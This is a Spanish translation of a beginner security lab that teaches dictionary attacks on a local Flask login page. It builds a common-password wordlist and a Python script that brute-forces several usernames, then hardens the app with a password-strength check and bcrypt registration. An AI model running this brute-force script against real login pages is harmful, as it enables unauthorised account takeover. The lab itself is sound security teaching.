Descifrando Contraseñas de Sitios Web con Python

PythonPythonBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, asumirás el papel de un investigador de seguridad encargado de probar la seguridad de las contraseñas de una aplicación web. Explorarás las vulnerabilidades de las contraseñas débiles y aprenderás técnicas utilizadas para descifrarlas. Esta experiencia práctica te brindará conocimientos tanto sobre técnicas ofensivas como sobre la importancia de medidas defensivas sólidas en ciberseguridad.

Explorando el sitio web objetivo

En este paso, recopilaremos información sobre nuestro sitio web objetivo, una fase inicial crucial en cualquier evaluación de seguridad.

  1. Abre tu navegador web y navega a http://localhost:8080/. Puedes acceder a esto haciendo clic en la pestaña Web 8080 en el entorno LabEx.
Pestaña del navegador web de LabEx

Nota: En la máquina virtual de LabEx, el servidor web opera en una red pública temporal. Esto significa que el nombre de dominio que veas puede no ser "localhost" sino un dominio realmente accesible. Esto es normal y no afecta el ejercicio del laboratorio.

  1. Examina detenidamente el formulario de inicio de sesión. Toma nota de lo siguiente:

    • El sitio requiere tanto un nombre de usuario como una contraseña.
    • No hay pistas visibles sobre nombres de usuario válidos o requisitos de contraseña.
  2. Intenta iniciar sesión utilizando algunas combinaciones aleatorias de nombres de usuario y contraseñas. Por ejemplo:

    • Nombre de usuario: test, Contraseña: password123
    • Nombre de usuario: admin, Contraseña: admin
    • Nombre de usuario: user, Contraseña: 12345

Deberías recibir un mensaje de "Nombre de usuario o contraseña no válidos" para cada intento.

  1. Basándonos en tus observaciones, podemos hacer algunas conjeturas informadas sobre el sistema de inicio de sesión:
    • No revela si un nombre de usuario existe o no. Esta es una buena práctica de seguridad, ya que no da información sobre cuentas válidas.
    • No hay un límite aparente en el número de intentos de inicio de sesión. En un escenario del mundo real, esto podría ser una vulnerabilidad, permitiendo adivinar contraseñas ilimitadamente.

Esta recopilación inicial de información nos ayuda a entender el sistema con el que estamos lidiando e indica nuestros próximos pasos para intentar descifrar las contraseñas.

Creando un diccionario de contraseñas

Ahora que hemos recopilado información sobre el sistema de inicio de sesión, crearemos un diccionario de posibles contraseñas. Esta es una técnica común utilizada en intentos de descifrar contraseñas.

  1. Abre la terminal en el escritorio.
Terminal abierta en el escritorio
  1. En la terminal, ingresa el siguiente comando para crear y llenar el archivo passwords.txt:
cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF

Este comando utiliza una técnica llamada "here document" (documento aquí) en bash. Permite crear un archivo con múltiples líneas de texto en un solo comando. Así es cómo funciona:

  • cat << EOF > filename: Esto le dice al sistema que tome todo el texto hasta que vea "EOF" (Fin de Archivo) y lo escriba en el nombre de archivo especificado.
  • El texto entre el primer EOF y el segundo EOF es el contenido que se escribirá en el archivo.
  • El último EOF marca el final del texto a escribir.

Después de ejecutar este comando, habrás creado un archivo llamado passwords.txt en el directorio ~/project/password_lab/, que contiene una lista de contraseñas de uso común (y, por lo tanto, débiles).

En un escenario del mundo real, los atacantes podrían utilizar diccionarios mucho más grandes, a menudo con millones de contraseñas. Estos podrían incluir:

  • Contraseñas de uso común
  • Palabras de múltiples idiomas
  • Variaciones de palabras (por ejemplo, "password1", "p@ssword", "password123")
  • Contraseñas filtradas de violaciones de datos anteriores

Crear y utilizar tales diccionarios para acceder sin autorización es ilegal y poco ético. Estamos utilizando este diccionario pequeño solo con fines educativos, para entender cómo funcionan estos ataques y cómo defenderse contra ellos.

Escribiendo el script de descifrado de contraseñas

Con nuestro diccionario de contraseñas listo, ahora crearemos un script de Python para automatizar el proceso de probar estas contraseñas en nuestro sitio web objetivo.

  1. Abre la terminal en el escritorio si no está abierta.

  2. Ingresa el siguiente comando para abrir un nuevo archivo llamado password_cracker.py en el editor de texto nano:

nano ~/project/password_lab/password_cracker.py
  1. Copia y pega el siguiente código de Python en el editor nano:
import requests
import time

def crack_password(username, password_list):
    url = 'http://localhost:8080'
    for password in password_list:
        response = requests.post(url, data={'username': username, 'password': password.strip()})
        if 'Login successful!' in response.text:
            print(f"Succeeded! {username} with password: {password.strip()}")
        else:
            print(f"Failed attempt for {username} with password: {password.strip()}")
        time.sleep(0.1)  ## Small delay to avoid overwhelming the server

def main():
    usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    with open('passwords.txt', 'r') as f:
        passwords = f.readlines()

    for username in usernames:
        print(f"Attempting to crack password for user: {username}")
        crack_password(username, passwords)

if __name__ == '__main__':
    main()
  1. Guarda el archivo y sale de nano presionando Ctrl+X, luego Y y finalmente Enter.

Analicemos lo que hace este script:

  • La función crack_password:

    • Toma un nombre de usuario y una lista de contraseñas como entrada.
    • Para cada contraseña, envía una solicitud POST a la página de inicio de sesión con el nombre de usuario y la contraseña.
    • Si la respuesta contiene "Login successful!", imprime un mensaje de éxito.
    • De lo contrario, imprime un mensaje de fracaso.
    • Incluye un pequeño retraso (0.1 segundos) entre intentos para evitar sobrecargar el servidor.
  • La función main:

    • Define una lista de nombres de usuario comunes para probar.
    • Lee las contraseñas de nuestro archivo passwords.txt.
    • Para cada nombre de usuario, llama a crack_password con la lista de contraseñas.

Este script automatiza el proceso de probar muchas combinaciones de nombres de usuario y contraseñas, similar a cómo un atacante podría intentar penetrar en un sistema. Sin embargo, es importante tener en cuenta que usar tales técnicas sin permiso es ilegal y poco ético. Estamos usando esto solo con fines educativos, para entender cómo funcionan estos ataques y cómo defenderse contra ellos.

Ejecutando el script de descifrado de contraseñas

Ahora que tenemos nuestro script de descifrado de contraseñas, lo ejecutaremos y analizaremos los resultados.

  1. En la terminal, navega al directorio que contiene nuestro script:
cd ~/project/password_lab
  1. Ejecuta el script con el siguiente comando:
python password_cracker.py
  1. Observa detenidamente la salida. El script intentará descifrar las contraseñas de varios nombres de usuario comunes. Deberías ver una salida similar a esta:
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
  1. Analiza la salida:
    • ¿Qué contraseñas se descifraron con éxito?
    • ¿Para qué nombres de usuario?
    • ¿Cuántos intentos se necesitaron antes de encontrar una contraseña correcta?
    • ¿Por qué crees que algunas contraseñas se descifraron mientras que otras no?

Este ejercicio demuestra cómo las contraseñas débiles se pueden adivinar fácilmente utilizando palabras o patrones comunes. En este caso, "admin" con la contraseña "supersecret123" fue vulnerable a nuestro ataque de diccionario.

Es fundamental entender que, aunque este script tuvo éxito en este entorno controlado, intentar utilizar tales técnicas en sistemas reales sin permiso explícito es ilegal y poco ético. Este conocimiento debe utilizarse para comprender las vulnerabilidades y mejorar la seguridad, no para explotar sistemas.

Mejorando la seguridad de las contraseñas

Ahora que hemos descifrado con éxito algunas contraseñas, implementemos mejores políticas de contraseñas para prevenir tales ataques.

  1. Abre la pestaña WebIDE en la máquina virtual (VM) de LabEx. WebIDE es un entorno de desarrollo integrado (IDE) basado en web que te permite escribir, ejecutar y depurar código directamente en tu navegador. Es similar al editor VS Code, pero se ejecuta en el navegador. WebIDE es adecuado para editar archivos de código más largos.
Captura de pantalla de la interfaz de WebIDE
  1. En el explorador de archivos en el lado izquierdo de la pantalla, haz clic en el archivo app.py para abrirlo en el editor.
  2. Agrega la siguiente función después del diccionario users para implementar comprobaciones de fortaleza de contraseña:
import re

def is_strong_password(password):
    if len(password) < 12:
        return False
    if not re.search(r'[A-Z]', password):
        return False
    if not re.search(r'[a-z]', password):
        return False
    if not re.search(r'\d', password):
        return False
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False
    return True
Código de comprobación de fortaleza de contraseña

Esta función comprueba si una contraseña:

  • Tiene al menos 12 caracteres de longitud
  • Contiene al menos una letra mayúscula
  • Contiene al menos una letra minúscula
  • Contiene al menos un dígito
  • Contiene al menos un carácter especial
  1. Ahora, agrega una nueva ruta para el registro de usuarios que implemente esta política de contraseñas. Agrega este bloque de código antes de la línea if __name__ == '__main__':
@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username and password:
            if is_strong_password(password):
                if username not in users:
                    users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
                    message = 'Registration successful!'
                else:
                    message = 'Username already exists'
            else:
                message = 'Password is not strong enough'
        else:
            message = 'Username and password are required'
    return render_template_string('''
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure Registration</title>
        <script src="https://cdn.tailwindcss.com"></script>
    </head>
    <body class="bg-gray-100 h-screen flex items-center justify-center">
        <div class="bg-white p-8 rounded-lg shadow-md w-96">
            <h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
            <form method="post" class="space-y-4">
                <div>
                    <label for="username" class="block text-sm font-medium text-gray-700">Username</label>
                    <input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
                    <input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                        Register
                    </button>
                </div>
            </form>
            <p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
            <p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
        </div>
    </body>
    </html>
    ''', message=message)
Interfaz del formulario de registro de usuarios

Este código crea una nueva ruta para el registro de usuarios. Comprueba si la contraseña enviada cumple con nuestros criterios de contraseña fuerte antes de crear un nuevo usuario.

  1. Guarda los cambios en WebIDE.
  2. Ahora, reiniciemos la aplicación Flask para aplicar estos cambios. Abre una terminal y ejecuta:
pkill -f "python app.py"
python ~/project/password_lab/app.py
  1. Navega a la pestaña Web 8080 y agrega /register a la URL para acceder al nuevo formulario de registro:
Interfaz del formulario de registro de usuarios
  1. Intenta registrar una nueva cuenta con una contraseña débil (por ejemplo, "password123"). Observa cómo la aplicación aplica la nueva política de contraseñas.

  2. Ahora, registra una nueva cuenta con una contraseña fuerte que cumpla con todos los criterios. Por ejemplo:

    • Nombre de usuario: labex
    • Contraseña: S3cureP@ssw0rd-2024

    Esta contraseña cumple con todos nuestros requisitos: tiene más de 12 caracteres de longitud, contiene letras mayúsculas y minúsculas, números y caracteres especiales.

  3. Después de registrarte con éxito, probemos nuestro script de descifrado de contraseñas contra esta nueva contraseña fuerte. Modifica el script password_cracker.py:

    • Abre la terminal y escribe:
    nano ~/project/password_lab/password_cracker.py
    • Encuentra la línea que dice usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    • Reemplázala con usernames = ['labex']
  4. Ejecuta el script modificado:

python ~/project/password_lab/password_cracker.py

Observa que el script no puede descifrar la nueva contraseña fuerte. Esto demuestra la efectividad de implementar políticas de contraseñas fuertes.

Resumen

En este laboratorio, has experimentado el proceso de hacking ético y pruebas de seguridad de contraseñas. Aquí está un resumen de lo que has logrado:

  1. Reconocimiento: Exploraste una página de inicio de sesión, recopilando información sobre su comportamiento y posibles vulnerabilidades. Este paso imita cómo un investigador de seguridad o un atacante podría comenzar su investigación de un sistema objetivo.
  2. Creación de un diccionario de contraseñas: Creaste una lista de contraseñas comunes, simulando los diccionarios utilizados en intentos reales de descifrado de contraseñas. Esto resaltó la vulnerabilidad de utilizar contraseñas comunes o débiles.
  3. Descifrado automático de contraseñas: Escribiste y ejecutaste un script de Python para automatizar el proceso de probar múltiples combinaciones de nombres de usuario y contraseñas. Esto demostró cómo los atacantes podrían intentar penetrar en un sistema y la velocidad con la que las contraseñas débiles pueden ser comprometidas.
  4. Análisis de resultados: Ejecutaste tu script de descifrado de contraseñas y analizaste los resultados, comprendiendo qué contraseñas eran vulnerables y por qué. Este paso enfatizó la importancia de utilizar contraseñas fuertes y únicas.
  5. Implementación de medidas de seguridad: Finalmente, mejoraste la seguridad de la aplicación web implementando políticas de contraseñas fuertes y un sistema de registro seguro. Esto mostró cómo las medidas de seguridad adecuadas pueden prevenir eficazmente los ataques comunes.